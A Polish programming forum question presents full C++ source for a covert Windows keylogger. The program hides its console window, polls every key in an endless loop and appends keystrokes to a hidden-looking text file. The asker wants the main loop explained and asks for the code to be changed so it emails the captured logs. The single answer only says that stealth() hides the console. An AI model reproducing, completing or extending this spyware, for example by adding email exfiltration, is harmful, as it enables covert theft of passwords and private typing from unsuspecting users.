KeyLogger w c++

Question

#include <iostream>
#include <fstream>
using namespace std;
#include<windows.h>
#include<Winuser.h>
int save (int key_stroke, char *file)
{
    if((key_stroke==1)||(key_stroke==2))
        return 0;

    FILE*OUTPUT_FILE;
      OUTPUT_FILE=fopen(file,"a+");

      if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
        else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
        else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
            else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
            else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
                else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                    else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                    else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
                    else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
cout << key_stroke << endl;

return 0;
}
void stealth()
{
        HWND stealth;
        AllocConsole();
        stealth=FindWindowA("ConsoleWindow",NULL);
        ShowWindow(stealth,0);
}





int main(){
    stealth();
    char i;
    while(1){
        for(i=8; i<=190; i++){
            if(GetAsyncKeyState(i)==-32767)
                save(i,"WindowsSaveFILE.txt");
        }
    }
    system("Pause");
return 0;}

to jest kod KeyLoggera którego sobie pozlepiałem z fragmentów a niektóre elementy napisałem sam jednym z tych jest ten

int main(){
    stealth();
    char i;
    while(1){
        for(i=8; i<=190; i++){
            if(GetAsyncKeyState(i)==-32767)
                save(i,"WindowsSaveFILE.txt");
        }
    }
    system("Pause");

możecie mi wytłumaczyć za co on odpowiada?

jeszcze jedno jak by ktos miał czas mogłby zmodyfikować kod tak aby wysyłał logi na maila?

Comments

http://www.cplusplus.com/forum/general/141404/

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@Slimcio,  ten kod błaga o switch'a

Answer 1

stealth(); - ukrywa konsole